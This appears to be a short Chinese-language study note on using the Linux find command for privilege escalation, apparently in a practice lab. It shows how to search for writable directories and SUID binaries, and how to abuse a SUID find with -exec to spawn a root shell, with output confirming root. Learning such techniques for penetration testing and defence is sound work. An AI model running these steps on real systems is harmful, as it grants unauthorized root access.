

# 【shell】 find

```
# 找尋可寫的資料夾
find / -writable -type d 2>/dev/null
```

```
# 尋找當前用戶可寫目錄
oe@debian-privesc:~$ find / -writable -type d 2>/dev/null
..
/home/joe
/home/joe/Videos
/home/joe/Templates
/home/joe/.local
/home/joe/.local/share
```

```
# 搜索帶有 SUID 位設置的文件 (-type f , -perm -u=s)
# -perm 權限搜索 -u UID
joe@debian-privesc:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/fusermount
```

```
# find 如果sid 為 root , 可執行shell提權
joe@debian-privesc:~$ find /home/joe/Desktop -exec "/usr/bin/bash" -p \;
bash-5.0# id
uid=1000(joe) gid=1000(joe) euid=0(root)
groups=1000(joe),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner),118(smb)

bash-5.0# whoami
root
```

🕒 修訂版本 #2

★ 由 treeman 建立於 17 🕒 2023 22:52:56

✍ 由 treeman 更新於 21 🕒 2024 08:52:25